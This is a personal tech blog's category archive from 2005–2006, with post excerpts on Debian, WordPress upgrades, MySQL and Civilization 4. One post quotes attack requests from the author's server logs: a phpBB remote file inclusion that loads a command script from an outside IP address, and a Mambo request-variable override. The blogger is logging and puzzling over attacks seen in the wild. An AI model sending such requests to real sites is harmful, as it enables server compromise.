Category Archives: Ordinateurs

Computers and that

Damn you Debians

Posted on January 26, 2006 by Arthur

Can someone notify the Debian developers that their base installer of Sarge is getting more and more obnoxious? When doing an off-network install (and manually setting the network settings), the installer attempts to make a connection to Debian security. Not … Continue reading →

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I’ve got thread

Posted on January 3, 2006 by Arthur

A threaded query finally is working to run in the background. Update: Previously

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Uh-huh?

Posted on January 3, 2006 by Arthur

From multiple servers, (medium) cross-site scripting attacks on what it looks like phpbb and (either) MamboServer and/or Joomla. Fragments follow: [snippet]admin_styles.phpadmin_styles.php? phpbb_root_path= http://209.136.48.69/cmd.dat [snippet]GET /mambo/index2.php?_REQUEST[option]= com_content&_REQUEST[Itemid]=1 (over mosConfig, it seems like) Not sure if they’re related to older security fixes, … Continue reading →

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If winds could change directions

Posted on January 2, 2006 by Arthur

Then people can do too! But wait: I’m not stunned by Russell’s decision to switch from Mac to Windows. I’m not particularly stunned, because this comes from the same guy who switches forth and back to any existing OS. Hey, … Continue reading →

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Recent links and that

Posted on December 27, 2005 by Arthur

I‘ve installed the ‘wp-recent-links’ plugin and officially ‘retired’ my own homebrew stuff that formed the ‘Elsewhere’ links. I’ll be working on a solution to get most of them ‘into’ wp-recent-links’ table structure. For now, I’ll be recycling some of them. … Continue reading →

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Update to WordPress 2.0 notes

Posted on December 26, 2005 by Arthur

Upgrading to WordPress 2.0: deactivate plugins wget http://www.wordpress.org/latest.tar.gz untar latest.tar.gz remove the following files/folders: wp-*, *.html,*.txt wp-admin folder wp-includes folder DO NOT DELETE: wp-config.php, wp-contents folder, htaccess and wp-includes/languages folder copy files from wordpress to home folder (and create extra … Continue reading →

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WordPress

Posted on December 26, 2005 by Arthur

I see that the guys over at WordPress have just released version 2.0 (originally tagged 1.6). I’ll be analyzing and (most likely) start the ‘upgrade path’ to the latest release. Update 10:38 PM: Done

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Have you seen your INI yet?

Posted on November 29, 2005 by Arthur

One of the top annoying parts of Windows application programming is storing user/program defaults settings. There’s a couple of ways to store this data: use the generic INI files, store data in the registry or (as many applications nowadays do) … Continue reading →

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Civilization 4 (VIII)

Posted on November 23, 2005 by Arthur

The Civilization patch is out! Uh. Wait. It was, but it actually isn’t anymore. Due to a bug that slipped through, Firaxis has put the patch on hold. If you installed it, you can uninstall the patch by using the … Continue reading →

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Huh?

Posted on November 22, 2005 by Arthur

This must be a joke. Obviously, MySQL doesn’t play nicely with localization: it shows the data in the prefered US dateformats (mm/DD/yyyy) but does not allow to use this localized format in the select/where condition. The following gives garbage. select … Continue reading →

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Civilization 4 (VII)

Posted on November 17, 2005 by Arthur

More good news: The Civ IV patch is supposed to come out really soon. Says someone at Civ 4: Some of the highlights include multiple AI improvements and tweaks, worker behavior tweaks, MANY game play improvements (ex Animal Husbandry reveals … Continue reading →

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Posting from Ubuntu’s LiveCD

Posted on November 14, 2005 by Arthur

I wouldn’t be a computer freak, if I didn’t try that Ubuntu LiveCD. I’m posting from Ubuntu right now, as you probably figured out. See? Nothing wrong with Linux. A couple of years ago, Alfons brought in my first ever … Continue reading →

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To upgrade or not to…

Posted on November 13, 2005 by Arthur

For a couple of weeks I’ve been toying with the idea to upgrade to the latest WordPress version or to move to a different blogging platform. I’ve been playing with NucleusCMS. Actually, I’ve been making ‘plug-ins’ for that one. Anyways, … Continue reading →

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